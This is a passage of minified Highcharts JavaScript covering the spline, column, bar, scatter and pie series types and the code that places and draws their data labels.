a=n[0],r=t[a],l=r?"animate":"attr",h={};r?(r.endX=t.preventGraphAnimation?null:e.xMap,r.animate({d:e})):(h.zIndex=0,(r=t[a]=t.chart.renderer.path(e).addClass(n[1]).add(t.group)).isArea=!0),t.chart.styledMode||(h.fill=s(n[3],o(n[2]).setOpacity(s(i.fillOpacity,.75)).get())),r[l](h),r.startX=e.xMap,r.shiftUnit=i.step?2:1}))},drawLegendSymbol:t.LegendSymbolMixin.drawRectangle})})),e(i,"parts/SplineSeries.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.pick;(t=t.seriesType)("spline","line",{},{getPointSpline:function(t,e,s){var o=e.plotX,n=e.plotY,a=t[s-1];if(s=t[s+1],a&&!a.isNull&&!1!==a.doCurve&&!e.isCliff&&s&&!s.isNull&&!1!==s.doCurve&&!e.isCliff){t=a.plotY;var r=s.plotX;s=s.plotY;var l=0,h=(1.5*o+a.plotX)/2.5,c=(1.5*n+t)/2.5,d=(1.5*n+s)/2.5;(r=(1.5*o+r)/2.5)!==h&&(l=(d-c)*(r-o)/(r-h)+n-d),d+=l,(c+=l)>t&&c>n?d=2*n-(c=Math.max(t,n)):c<t&&c<n&&(d=2*n-(c=Math.min(t,n))),d>s&&d>n?c=2*n-(d=Math.max(s,n)):d<s&&d<n&&(c=2*n-(d=Math.min(s,n))),e.rightContX=r,e.rightContY=d}return e=["C",i(a.rightContX,a.plotX),i(a.rightContY,a.plotY),i(h,o),i(c,n),o,n],a.rightContX=a.rightContY=null,e}})})),e(i,"parts/AreaSplineSeries.js",[i["parts/Globals.js"]],(function(t){var e=t.seriesTypes.area.prototype;(0,t.seriesType)("areaspline","spline",t.defaultPlotOptions.area,{getStackPoints:e.getStackPoints,getGraphPath:e.getGraphPath,drawGraph:e.drawGraph,drawLegendSymbol:t.LegendSymbolMixin.drawRectangle})})),e(i,"parts/ColumnSeries.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.defined,s=e.extend,o=e.isNumber,n=e.pick,a=t.animObject,r=t.color,l=t.merge,h=t.Series;e=t.seriesType;var c=t.svg;e("column","line",{borderRadius:0,crisp:!0,groupPadding:.2,marker:null,pointPadding:.1,minPointLength:0,cropThreshold:50,pointRange:null,states:{hover:{halo:!1,brightness:.1},select:{color:"#cccccc",borderColor:"#000000"}},dataLabels:{align:null,verticalAlign:null,y:null},softThreshold:!1,startFromThreshold:!0,stickyTracking:!1,tooltip:{distance:6},threshold:0,borderColor:"#ffffff"},{cropShoulder:0,directTouch:!0,trackerGroups:["group","dataLabelsGroup"],negStacks:!0,init:function(){h.prototype.init.apply(this,arguments);var t=this,e=t.chart;e.hasRendered&&e.series.forEach((function(e){e.type===t.type&&(e.isDirty=!0)}))},getColumnMetrics:function(){var t=this,e=t.options,i=t.xAxis,s=t.yAxis,o=i.options.reversedStacks;o=i.reversed&&!o||!i.reversed&&o;var a,r={},l=0;!1===e.grouping?l=1:t.chart.series.forEach((function(e){var i=e.yAxis,o=e.options;if(e.type===t.type&&(e.visible||!t.chart.options.chart.ignoreHiddenSeries)&&s.len===i.len&&s.pos===i.pos){if(o.stacking){a=e.stackKey,void 0===r[a]&&(r[a]=l++);var n=r[a]}else!1!==o.grouping&&(n=l++);e.columnIndex=n}}));var h=Math.min(Math.abs(i.transA)*(i.ordinalSlope||e.pointRange||i.closestPointRange||i.tickInterval||1),i.len),c=h*e.groupPadding,d=(h-2*c)/(l||1);return e=Math.min(e.maxPointWidth||i.len,n(e.pointWidth,d*(1-2*e.pointPadding))),t.columnMetrics={width:e,offset:(d-e)/2+(c+((t.columnIndex||0)+(o?1:0))*d-h/2)*(o?-1:1)},t.columnMetrics},crispCol:function(t,e,i,s){var o=this.chart,n=this.borderWidth,a=-(n%2?.5:0);return n=n%2?.5:1,o.inverted&&o.renderer.isVML&&(n+=1),this.options.crisp&&(i=Math.round(t+i)+a,i-=t=Math.round(t)+a),s=Math.round(e+s)+n,a=.5>=Math.abs(e)&&.5<s,s-=e=Math.round(e)+n,a&&s&&(--e,s+=1),{x:t,y:e,width:i,height:s}},translate:function(){var t=this,e=t.chart,s=t.options,o=t.dense=2>t.closestPointRange*t.xAxis.transA;o=t.borderWidth=n(s.borderWidth,o?0:1);var a=t.yAxis,r=s.threshold,l=t.translatedThreshold=a.getThreshold(r),c=n(s.minPointLength,5),d=t.getColumnMetrics(),p=d.width,u=t.barW=Math.max(p,1+2*o),f=t.pointXOffset=d.offset,g=t.dataMin,m=t.dataMax;e.inverted&&(l-=.5),s.pointPadding&&(u=Math.ceil(u)),h.prototype.translate.apply(t),t.points.forEach((function(s){var o=n(s.yBottom,l),h=999+Math.abs(o),d=p;h=Math.min(Math.max(-h,s.plotY),a.len+h);var v=s.plotX+f,x=u,y=Math.min(h,o),b=Math.max(h,o)-y;if(c&&Math.abs(b)<c){b=c;var w=!a.reversed&&!s.negative||a.reversed&&s.negative;s.y===r&&t.dataMax<=r&&a.min<r&&g!==m&&(w=!w),y=Math.abs(y-l)>c?o-c:l-(w?c:0)}i(s.options.pointWidth)&&(d=x=Math.ceil(s.options.pointWidth),v-=Math.round((d-p)/2)),s.barX=v,s.pointWidth=d,s.tooltipPos=e.inverted?[a.len+a.pos-e.plotLeft-h,t.xAxis.len-v-x/2,b]:[v+x/2,h+a.pos-e.plotTop,b],s.shapeType=t.pointClass.prototype.shapeType||"rect",s.shapeArgs=t.crispCol.apply(t,s.isNull?[v,l,x,0]:[v,y,x,b])}))},getSymbol:t.noop,drawLegendSymbol:t.LegendSymbolMixin.drawRectangle,drawGraph:function(){this.group[this.dense?"addClass":"removeClass"]("highcharts-dense-data")},pointAttribs:function(t,e){var i=this.options,s=this.pointAttrToOptions||{},o=s.stroke||"borderColor",a=s["stroke-width"]||"borderWidth",h=t&&t.color||this.color,c=t&&t[o]||i[o]||this.color||h,d=t&&t[a]||i[a]||this[a]||0;s=t&&t.options.dashStyle||i.dashStyle;var p=n(i.opacity,1);if(t&&this.zones.length){var u=t.getZone();h=t.options.color||u&&(u.color||t.nonZonedColor)||this.color,u&&(c=u.borderColor||c,s=u.dashStyle||s,d=u.borderWidth||d)}return e&&(e=(t=l(i.states[e],t.options.states&&t.options.states[e]||{})).brightness,h=t.color||void 0!==e&&r(h).brighten(t.brightness).get()||h,c=t[o]||c,d=t[a]||d,s=t.dashStyle||s,p=n(t.opacity,p)),o={fill:h,stroke:c,"stroke-width":d,opacity:p},s&&(o.dashstyle=s),o},drawPoints:function(){var t,e=this,i=this.chart,s=e.options,n=i.renderer,a=s.animationLimit||250;e.points.forEach((function(r){var h=r.graphic,c=h&&i.pointCount<a?"animate":"attr";o(r.plotY)&&null!==r.y?(t=r.shapeArgs,h&&r.hasNewShapeType()&&(h=h.destroy()),h?h[c](l(t)):r.graphic=h=n[r.shapeType](t).add(r.group||e.group),s.borderRadius&&h[c]({r:s.borderRadius}),i.styledMode||h[c](e.pointAttribs(r,r.selected&&"select")).shadow(!1!==r.allowShadow&&s.shadow,null,s.stacking&&!s.borderRadius),h.addClass(r.getClassName(),!0)):h&&(r.graphic=h.destroy())}))},animate:function(t){var e=this,i=this.yAxis,o=e.options,n=this.chart.inverted,r={},l=n?"translateX":"translateY";if(c)if(t)r.scaleY=.001,t=Math.min(i.pos+i.len,Math.max(i.pos,i.toPixels(o.threshold))),n?r.translateX=t-i.len:r.translateY=t,e.clipBox&&e.setClip(),e.group.attr(r);else{var h=e.group.attr(l);e.group.animate({scaleY:1},s(a(e.options.animation),{step:function(t,s){r[l]=h+s.pos*(i.pos-h),e.group.attr(r)}})),e.animate=null}},remove:function(){var t=this,e=t.chart;e.hasRendered&&e.series.forEach((function(e){e.type===t.type&&(e.isDirty=!0)})),h.prototype.remove.apply(t,arguments)}})})),e(i,"parts/BarSeries.js",[i["parts/Globals.js"]],(function(t){(t=t.seriesType)("bar","column",null,{inverted:!0})})),e(i,"parts/ScatterSeries.js",[i["parts/Globals.js"]],(function(t){var e=t.Series;(0,t.seriesType)("scatter","line",{lineWidth:0,findNearestPointBy:"xy",jitter:{x:0,y:0},marker:{enabled:!0},tooltip:{headerFormat:'<span style="color:{point.color}">●</span> <span style="font-size: 10px"> {series.name}</span><br/>',pointFormat:"x: <b>{point.x}</b><br/>y: <b>{point.y}</b><br/>"}},{sorted:!1,requireSorting:!1,noSharedTooltip:!0,trackerGroups:["group","markerGroup","dataLabelsGroup"],takeOrdinalPosition:!1,drawGraph:function(){this.options.lineWidth&&e.prototype.drawGraph.call(this)},applyJitter:function(){var t=this,e=this.options.jitter,i=this.points.length;e&&this.points.forEach((function(s,o){["x","y"].forEach((function(n,a){var r="plot"+n.toUpperCase();if(e[n]&&!s.isNull){var l=t[n+"Axis"],h=e[n]*l.transA;if(l&&!l.isLog){var c=Math.max(0,s[r]-h);l=Math.min(l.len,s[r]+h),a=1e4*Math.sin(o+a*i),s[r]=c+(l-c)*(a-Math.floor(a)),"x"===n&&(s.clientX=s.plotX)}}}))}))}}),t.addEvent(e,"afterTranslate",(function(){this.applyJitter&&this.applyJitter()}))})),e(i,"mixins/centered-series.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.isNumber,s=e.pick,o=t.deg2rad,n=t.relativeLength;t.CenteredSeriesMixin={getCenter:function(){var t=this.options,e=this.chart,i=2*(t.slicedOffset||0),o=e.plotWidth-2*i;e=e.plotHeight-2*i;var a=t.center;a=[s(a[0],"50%"),s(a[1],"50%"),t.size||"100%",t.innerSize||0];var r,l=Math.min(o,e);for(r=0;4>r;++r){var h=a[r];t=2>r||2===r&&/%$/.test(h),a[r]=n(h,[o,e,l,a[2]][r])+(t?i:0)}return a[3]>a[2]&&(a[3]=a[2]),a},getStartAndEndRadians:function(t,e){return t=i(t)?t:0,e=i(e)&&e>t&&360>e-t?e:t+360,{start:o*(t+-90),end:o*(e+-90)}}}})),e(i,"parts/PieSeries.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.defined,s=e.isNumber,o=e.pick,n=e.setAnimation,a=t.addEvent,r=(e=t.CenteredSeriesMixin).getStartAndEndRadians,l=t.merge,h=t.noop,c=t.Point,d=t.Series,p=t.seriesType,u=t.fireEvent;p("pie","line",{center:[null,null],clip:!1,colorByPoint:!0,dataLabels:{allowOverlap:!0,connectorPadding:5,distance:30,enabled:!0,formatter:function(){return this.point.isNull?void 0:this.point.name},softConnector:!0,x:0,connectorShape:"fixedOffset",crookDistance:"70%"},fillColor:void 0,ignoreHiddenPoint:!0,inactiveOtherPoints:!0,legendType:"point",marker:null,size:null,showInLegend:!1,slicedOffset:10,stickyTracking:!1,tooltip:{followPointer:!0},borderColor:"#ffffff",borderWidth:1,lineWidth:void 0,states:{hover:{brightness:.1}}},{isCartesian:!1,requireSorting:!1,directTouch:!0,noSharedTooltip:!0,trackerGroups:["group","dataLabelsGroup"],axisTypes:[],pointAttribs:t.seriesTypes.column.prototype.pointAttribs,animate:function(t){var e=this,i=e.points,s=e.startAngleRad;t||(i.forEach((function(t){var i=t.graphic,o=t.shapeArgs;i&&(i.attr({r:t.startR||e.center[3]/2,start:s,end:s}),i.animate({r:o.r,start:o.start,end:o.end},e.options.animation))})),e.animate=null)},hasData:function(){return!!this.processedXData.length},updateTotals:function(){var t,e=0,i=this.points,s=i.length,o=this.options.ignoreHiddenPoint;for(t=0;t<s;t++){var n=i[t];e+=o&&!n.visible||n.isNull?0:n.y}for(this.total=e,t=0;t<s;t++)(n=i[t]).percentage=0<e&&(n.visible||!o)?n.y/e*100:0,n.total=e},generatePoints:function(){d.prototype.generatePoints.call(this),this.updateTotals()},getX:function(t,e,i){var s=this.center,o=this.radii?this.radii[i.index]:s[2]/2;return s[0]+(e?-1:1)*Math.cos(Math.asin(Math.max(Math.min((t-s[1])/(o+i.labelDistance),1),-1)))*(o+i.labelDistance)+(0<i.labelDistance?(e?-1:1)*this.options.dataLabels.padding:0)},translate:function(e){this.generatePoints();var i=0,s=this.options,n=s.slicedOffset,a=n+(s.borderWidth||0),l=r(s.startAngle,s.endAngle),h=this.startAngleRad=l.start;l=(this.endAngleRad=l.end)-h;var c=this.points,d=s.dataLabels.distance;s=s.ignoreHiddenPoint;var p,f=c.length;for(e||(this.center=e=this.getCenter()),p=0;p<f;p++){var g=c[p],m=h+i*l;s&&!g.visible||(i+=g.percentage/100);var v=h+i*l;g.shapeType="arc",g.shapeArgs={x:e[0],y:e[1],r:e[2]/2,innerR:e[3]/2,start:Math.round(1e3*m)/1e3,end:Math.round(1e3*v)/1e3},g.labelDistance=o(g.options.dataLabels&&g.options.dataLabels.distance,d),g.labelDistance=t.relativeLength(g.labelDistance,g.shapeArgs.r),this.maxLabelDistance=Math.max(this.maxLabelDistance||0,g.labelDistance),(v=(v+m)/2)>1.5*Math.PI?v-=2*Math.PI:v<-Math.PI/2&&(v+=2*Math.PI),g.slicedTranslation={translateX:Math.round(Math.cos(v)*n),translateY:Math.round(Math.sin(v)*n)};var x=Math.cos(v)*e[2]/2,y=Math.sin(v)*e[2]/2;g.tooltipPos=[e[0]+.7*x,e[1]+.7*y],g.half=v<-Math.PI/2||v>Math.PI/2?1:0,g.angle=v,m=Math.min(a,g.labelDistance/5),g.labelPosition={natural:{x:e[0]+x+Math.cos(v)*g.labelDistance,y:e[1]+y+Math.sin(v)*g.labelDistance},final:{},alignment:0>g.labelDistance?"center":g.half?"right":"left",connectorPosition:{breakAt:{x:e[0]+x+Math.cos(v)*m,y:e[1]+y+Math.sin(v)*m},touchingSliceAt:{x:e[0]+x,y:e[1]+y}}}}u(this,"afterTranslate")},drawEmpty:function(){var t=this.options;if(0===this.total){var e=this.center[0],i=this.center[1];this.graph||(this.graph=this.chart.renderer.circle(e,i,0).addClass("highcharts-graph").add(this.group)),this.graph.animate({"stroke-width":t.borderWidth,cx:e,cy:i,r:this.center[2]/2,fill:t.fillColor||"none",stroke:t.color||"#cccccc"})}else this.graph&&(this.graph=this.graph.destroy())},redrawPoints:function(){var t,e,i,s,o=this,n=o.chart,a=n.renderer,r=o.options.shadow;this.drawEmpty(),!r||o.shadowGroup||n.styledMode||(o.shadowGroup=a.g("shadow").attr({zIndex:-1}).add(o.group)),o.points.forEach((function(h){var c={};if(e=h.graphic,!h.isNull&&e){if(s=h.shapeArgs,t=h.getTranslate(),!n.styledMode){var d=h.shadowGroup;r&&!d&&(d=h.shadowGroup=a.g("shadow").add(o.shadowGroup)),d&&d.attr(t),i=o.pointAttribs(h,h.selected&&"select")}h.delayedRendering?(e.setRadialReference(o.center).attr(s).attr(t),n.styledMode||e.attr(i).attr({"stroke-linejoin":"round"}).shadow(r,d),h.delayedRendering=!1):(e.setRadialReference(o.center),n.styledMode||l(!0,c,i),l(!0,c,s,t),e.animate(c)),e.attr({visibility:h.visible?"inherit":"hidden"}),e.addClass(h.getClassName())}else e&&(h.graphic=e.destroy())}))},drawPoints:function(){var t=this.chart.renderer;this.points.forEach((function(e){e.graphic||(e.graphic=t[e.shapeType](e.shapeArgs).add(e.series.group),e.delayedRendering=!0)}))},searchPoint:h,sortByAngle:function(t,e){t.sort((function(t,i){return void 0!==t.angle&&(i.angle-t.angle)*e}))},drawLegendSymbol:t.LegendSymbolMixin.drawRectangle,getCenter:e.getCenter,getSymbol:h,drawGraph:null},{init:function(){c.prototype.init.apply(this,arguments);var t=this;t.name=o(t.name,"Slice");var e=function(e){t.slice("select"===e.type)};return a(t,"select",e),a(t,"unselect",e),t},isValid:function(){return s(this.y)&&0<=this.y},setVisible:function(t,e){var i=this,s=i.series,n=s.chart,a=s.options.ignoreHiddenPoint;e=o(e,a),t!==i.visible&&(i.visible=i.options.visible=t=void 0===t?!i.visible:t,s.options.data[s.data.indexOf(i)]=i.options,["graphic","dataLabel","connector","shadowGroup"].forEach((function(e){i[e]&&i[e][t?"show":"hide"](!0)})),i.legendItem&&n.legend.colorizeItem(i,t),t||"hover"!==i.state||i.setState(""),a&&(s.isDirty=!0),e&&n.redraw())},slice:function(t,e,s){var a=this.series;n(s,a.chart),o(e,!0),this.sliced=this.options.sliced=i(t)?t:!this.sliced,a.options.data[a.data.indexOf(this)]=this.options,this.graphic.animate(this.getTranslate()),this.shadowGroup&&this.shadowGroup.animate(this.getTranslate())},getTranslate:function(){return this.sliced?this.slicedTranslation:{translateX:0,translateY:0}},haloPath:function(t){var e=this.shapeArgs;return this.sliced||!this.visible?[]:this.series.chart.renderer.symbols.arc(e.x,e.y,e.r+t,e.r+t,{innerR:e.r-1,start:e.start,end:e.end})},connectorShapes:{fixedOffset:function(t,e,i){var s=e.breakAt;return e=e.touchingSliceAt,["M",t.x,t.y].concat(i.softConnector?["C",t.x+("left"===t.alignment?-5:5),t.y,2*s.x-e.x,2*s.y-e.y,s.x,s.y]:["L",s.x,s.y]).concat(["L",e.x,e.y])},straight:function(t,e){return e=e.touchingSliceAt,["M",t.x,t.y,"L",e.x,e.y]},crookedLine:function(e,i,s){i=i.touchingSliceAt;var o=this.series,n=o.center[0],a=o.chart.plotWidth,r=o.chart.plotLeft;o=e.alignment;var l=this.shapeArgs.r;return s=t.relativeLength(s.crookDistance,1),n=["L",s="left"===o?n+l+(a+r-n-l)*(1-s):r+(n-l)*s,e.y],("left"===o?s>e.x||s<i.x:s<e.x||s>i.x)&&(n=[]),["M",e.x,e.y].concat(n).concat(["L",i.x,i.y])}},getConnectorPath:function(){var t=this.labelPosition,e=this.series.options.dataLabels,i=e.connectorShape,s=this.connectorShapes;return s[i]&&(i=s[i]),i.call(this,{x:t.final.x,y:t.final.y,alignment:t.alignment},t.connectorPosition,e)}})})),e(i,"parts/DataLabels.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.arrayMax,s=e.defined,o=e.extend,n=e.isArray,a=e.objectEach,r=e.pick,l=e.splat,h=t.format,c=t.merge;e=t.noop;var d=t.relativeLength,p=t.Series,u=t.seriesTypes,f=t.stableSort;t.distribute=function(e,i,s){function o(t,e){return t.target-e.target}var n,a=!0,l=e,h=[],c=0,d=l.reducedLen||i;for(n=e.length;n--;)c+=e[n].size;if(c>d){for(f(e,(function(t,e){return(e.rank||0)-(t.rank||0)})),c=n=0;c<=d;)c+=e[n].size,n++;h=e.splice(n-1,e.length)}for(f(e,o),e=e.map((function(t){return{size:t.size,targets:[t.target],align:r(t.align,.5)}}));a;){for(n=e.length;n--;)a=e[n],c=(Math.min.apply(0,a.targets)+Math.max.apply(0,a.targets))/2,a.pos=Math.min(Math.max(0,c-a.size*a.align),i-a.size);for(n=e.length,a=!1;n--;)0<n&&e[n-1].pos+e[n-1].size>e[n].pos&&(e[n-1].size+=e[n].size,e[n-1].targets=e[n-1].targets.concat(e[n].targets),e[n-1].align=.5,e[n-1].pos+e[n-1].size>i&&(e[n-1].pos=i-e[n-1].size),e.splice(n,1),a=!0)}l.push.apply(l,h),n=0,e.some((function(e){var o=0;if(e.targets.some((function(){if(l[n].pos=e.pos+o,Math.abs(l[n].pos-l[n].target)>s)return l.slice(0,n+1).forEach((function(t){delete t.pos})),l.reducedLen=(l.reducedLen||i)-.1*i,l.reducedLen>.1*i&&t.distribute(l,i,s),!0;o+=l[n].size,n++})))return!0})),f(l,o)},p.prototype.drawDataLabels=function(){function e(t,e){var i,s=[];if(n(t)&&!n(e))s=t.map((function(t){return c(t,e)}));else if(n(e)&&!n(t))s=e.map((function(e){return c(t,e)}));else if(n(t)||n(e))for(i=Math.max(t.length,e.length);i--;)s[i]=c(t[i],e[i]);else s=c(t,e);return s}var i=this,o=i.chart,d=i.options,p=d.dataLabels,u=i.points,f=i.hasRendered||0,g=t.animObject(d.animation).duration,m=Math.min(g,200),v=!o.renderer.forExport&&r(p.defer,0<m),x=o.renderer;if(p=e(e(o.options.plotOptions&&o.options.plotOptions.series&&o.options.plotOptions.series.dataLabels,o.options.plotOptions&&o.options.plotOptions[i.type]&&o.options.plotOptions[i.type].dataLabels),p),t.fireEvent(this,"drawDataLabels"),n(p)||p.enabled||i._hasPointLabels){var y=i.plotGroup("dataLabelsGroup","data-labels",v&&!f?"hidden":"inherit",p.zIndex||6);v&&(y.attr({opacity:+f}),f||setTimeout((function(){var t=i.dataLabelsGroup;t&&(i.visible&&y.show(!0),t[d.animation?"animate":"attr"]({opacity:1},{duration:m}))}),g-m)),u.forEach((function(t){l(e(p,t.dlOptions||t.options&&t.options.dataLabels)).forEach((function(e,n){var l=e.enabled&&(!t.isNull||t.dataLabelOnNull)&&function(t,e){var i=e.filter;return!i||(e=i.operator,t=t[i.property],i=i.value,">"===e&&t>i||"<"===e&&t<i||">="===e&&t>=i||"<="===e&&t<=i||"=="===e&&t==i||"==="===e&&t===i)}(t,e),c=t.dataLabels?t.dataLabels[n]:t.dataLabel,p=t.connectors?t.connectors[n]:t.connector,u=r(e.distance,t.labelDistance),f=!c;if(l){var g=t.getLabelConfig(),m=r(e[t.formatPrefix+"Format"],e.format);g=s(m)?h(m,g,o.time):(e[t.formatPrefix+"Formatter"]||e.formatter).call(g,e),m=e.style;var v=e.rotation;o.styledMode||(m.color=r(e.color,m.color,i.color,"#000000"),"contrast"===m.color&&(t.contrastColor=x.getContrast(t.color||i.color),m.color=!s(u)&&e.inside||0>u||d.stacking?t.contrastColor:"#000000"),d.cursor&&(m.cursor=d.cursor));var b={r:e.borderRadius||0,rotation:v,padding:e.padding,zIndex:1};o.styledMode||(b.fill=e.backgroundColor,b.stroke=e.borderColor,b["stroke-width"]=e.borderWidth),a(b,(function(t,e){void 0===t&&delete b[e]}))}!c||l&&s(g)?l&&s(g)&&(c?b.text=g:(t.dataLabels=t.dataLabels||[],c=t.dataLabels[n]=v?x.text(g,0,-9999).addClass("highcharts-data-label"):x.label(g,0,-9999,e.shape,null,null,e.useHTML,null,"data-label"),n||(t.dataLabel=c),c.addClass(" highcharts-data-label-color-"+t.colorIndex+" "+(e.className||"")+(e.useHTML?" highcharts-tracker":""))),c.options=e,c.attr(b),o.styledMode||c.css(m).shadow(e.shadow),c.added||c.add(y),e.textPath&&!e.useHTML&&c.setTextPath(t.getDataLabelPath&&t.getDataLabelPath(c)||t.graphic,e.textPath),i.alignDataLabel(t,c,e,null,f)):(t.dataLabel=t.dataLabel&&t.dataLabel.destroy(),t.dataLabels&&(1===t.dataLabels.length?delete t.dataLabels:delete t.dataLabels[n]),n||delete t.dataLabel,p&&(t.connector=t.connector.destroy(),t.connectors&&(1===t.connectors.length?delete t.connectors:delete t.connectors[n])))}))}))}t.fireEvent(this,"afterDrawDataLabels")},p.prototype.alignDataLabel=function(t,e,i,s,n){var a=this.chart,l=this.isCartesian&&a.inverted,h=r(t.dlBox&&t.dlBox.centerX,t.plotX,-9999),c=r(t.plotY,-9999),d=e.getBBox(),p=i.rotation,u=i.align,f=this.visible&&(t.series.forceDL||a.isInsidePlot(h,Math.round(c),l)||s&&a.isInsidePlot(h,l?s.x+1:s.y+s.height-1,l)),g="justify"===r(i.overflow,"justify");if(f){var m=a.renderer.fontMetrics(a.styledMode?void 0:i.style.fontSize,e).b;s=o({x:l?this.yAxis.len-c:h,y:Math.round(l?this.xAxis.len-h:c),width:0,height:0},s),o(i,{width:d.width,height:d.height}),p?(g=!1,h=a.renderer.rotCorr(m,p),h={x:s.x+i.x+s.width/2+h.x,y:s.y+i.y+{top:0,middle:.5,bottom:1}[i.verticalAlign]*s.height},e[n?"attr":"animate"](h).attr({align:u}),c=180<(c=(p+720)%360)&&360>c,"left"===u?h.y-=c?d.height:0:"center"===u?(h.x-=d.width/2,h.y-=d.height/2):"right"===u&&(h.x-=d.width,h.y-=c?0:d.height),e.placed=!0,e.alignAttr=h):(e.align(i,null,s),h=e.alignAttr),g&&0<=s.height?this.justifyDataLabel(e,i,h,d,s,n):r(i.crop,!0)&&(f=a.isInsidePlot(h.x,h.y)&&a.isInsidePlot(h.x+d.width,h.y+d.height)),i.shape&&!p&&e[n?"attr":"animate"]({anchorX:l?a.plotWidth-t.plotY:t.plotX,anchorY:l?a.plotHeight-t.plotX:t.plotY})}f||(e.hide(!0),e.placed=!1)},p.prototype.justifyDataLabel=function(t,e,i,s,o,n){var a=this.chart,r=e.align,l=e.verticalAlign,h=t.box?0:t.padding||0,c=i.x+h;if(0>c){"right"===r?(e.align="left",e.inside=!0):e.x=-c;var d=!0}return(c=i.x+s.width-h)>a.plotWidth&&("left"===r?(e.align="right",e.inside=!0):e.x=a.plotWidth-c,d=!0),0>(c=i.y+h)&&("bottom"===l?(e.verticalAlign="top",e.inside=!0):e.y=-c,d=!0),(c=i.y+s.height-h)>a.plotHeight&&("top"===l?(e.verticalAlign="bottom",e.inside=!0):e.y=a.plotHeight-c,d=!0),d&&(t.placed=!n,t.align(e,null,o)),d},u.pie&&(u.pie.prototype.dataLabelPositioners={radialDistributionY:function(t){return t.top+t.distributeBox.pos},radialDistributionX:function(t,e,i,s){return t.getX(i<e.top+2||i>e.bottom-2?s:i,e.half,e)},justify:function(t,e,i){return i[0]+(t.half?-1:1)*(e+t.labelDistance)},alignToPlotEdges:function(t,e,i,s){return t=t.getBBox().width,e?t+s:i-t-s},alignToConnectors:function(t,e,i,s){var o,n=0;return t.forEach((function(t){(o=t.dataLabel.getBBox().width)>n&&(n=o)})),e?n+s:i-n-s}},u.pie.prototype.drawDataLabels=function(){var e,o,n,a,l,h,d,u,f,g,m,v,x=this,y=x.data,b=x.chart,w=x.options.dataLabels,k=w.connectorPadding,M=b.plotWidth,S=b.plotHeight,T=b.plotLeft,C=Math.round(b.chartWidth/3),A=x.center,E=A[2]/2,P=A[1],O=[[],[]],L=[0,0,0,0],D=x.dataLabelPositioners;x.visible&&(w.enabled||x._hasPointLabels)&&(y.forEach((function(t){t.dataLabel&&t.visible&&t.dataLabel.shortened&&(t.dataLabel.attr({width:"auto"}).css({width:"auto",textOverflow:"clip"}),t.dataLabel.shortened=!1)})),p.prototype.drawDataLabels.apply(x),y.forEach((function(t){t.dataLabel&&(t.visible?(O[t.half].push(t),t.dataLabel._pos=null,!s(w.style.width)&&!s(t.options.dataLabels&&t.options.dataLabels.style&&t.options.dataLabels.style.width)&&t.dataLabel.getBBox().width>C&&(t.dataLabel.css({width:.7*C}),t.dataLabel.shortened=!0)):(t.dataLabel=t.dataLabel.destroy(),t.dataLabels&&1===t.dataLabels.length&&delete t.dataLabels))})),O.forEach((function(i,o){var n,c=i.length,p=[];if(c){if(x.sortByAngle(i,o-.5),0<x.maxLabelDistance){var v=Math.max(0,P-E-x.maxLabelDistance),y=Math.min(P+E+x.maxLabelDistance,b.plotHeight);i.forEach((function(t){0<t.labelDistance&&t.dataLabel&&(t.top=Math.max(0,P-E-t.labelDistance),t.bottom=Math.min(P+E+t.labelDistance,b.plotHeight),n=t.dataLabel.getBBox().height||21,t.distributeBox={target:t.labelPosition.natural.y-t.top+n/2,size:n,rank:t.y},p.push(t.distributeBox))})),v=y+n-v,t.distribute(p,v,v/5)}for(m=0;m<c;m++){if(e=i[m],h=e.labelPosition,a=e.dataLabel,g=!1===e.visible?"hidden":"inherit",f=v=h.natural.y,p&&s(e.distributeBox)&&(void 0===e.distributeBox.pos?g="hidden":(d=e.distributeBox.size,f=D.radialDistributionY(e))),delete e.positionIndex,w.justify)u=D.justify(e,E,A);else switch(w.alignTo){case"connectors":u=D.alignToConnectors(i,o,M,T);break;case"plotEdges":u=D.alignToPlotEdges(a,o,M,T);break;default:u=D.radialDistributionX(x,e,f,v)}a._attr={visibility:g,align:h.alignment},a._pos={x:u+w.x+({left:k,right:-k}[h.alignment]||0),y:f+w.y-10},h.final.x=u,h.final.y=f,r(w.crop,!0)&&(l=a.getBBox().width,v=null,u-l<k&&1===o?(v=Math.round(l-u+k),L[3]=Math.max(v,L[3])):u+l>M-k&&0===o&&(v=Math.round(u+l-M+k),L[1]=Math.max(v,L[1])),0>f-d/2?L[0]=Math.max(Math.round(d/2-f),L[0]):f+d/2>S&&(L[2]=Math.max(Math.round(f+d/2-S),L[2])),a.sideOverflow=v)}}})),0===i(L)||this.verifyDataLabelOverflow(L))&&(this.placeDataLabels(),this.points.forEach((function(t){var e;v=c(w,t.options.dataLabels),(o=r(v.connectorWidth,1))&&(n=t.connector,(a=t.dataLabel)&&a._pos&&t.visible&&0<t.labelDistance?(g=a._attr.visibility,(e=!n)&&(t.connector=n=b.renderer.path().addClass("highcharts-data-label-connector highcharts-color-"+t.colorIndex+(t.className?" "+t.className:"")).add(x.dataLabelsGroup),b.styledMode||n.attr({"stroke-width":o,stroke:v.connectorColor||t.color||"#666666"})),n[e?"attr":"animate"]({d:t.getConnectorPath()}),n.attr("visibility",g)):n&&(t.connector=n.destroy()))})))},u.pie.prototype.placeDataLabels=function(){this.points.forEach((function(t){var e,i=t.dataLabel;i&&t.visible&&((e=i._pos)?(i.sideOverflow&&(i._attr.width=Math.max(i.getBBox().width-i.sideOverflow,0),i.css({width:i._attr.width+"px",textOverflow:(this.options.dataLabels.style||{}).textOverflow||"ellipsis"}),i.shortened=!0),i.attr(i._attr),i[i.moved?"animate":"attr"](e),i.moved=!0):i&&i.attr({y:-9999})),delete t.distributeBox}),this)},u.pie.prototype.alignDataLabel=e,u.pie.prototype.verifyDataLabelOverflow=function(t){var e=this.center,i=this.options,s=i.center,o=i.minSize||80,n=null!==i.size;if(!n){if(null!==s[0])var a=Math.max(e[2]-Math.max(t[1],t[3]),o);else 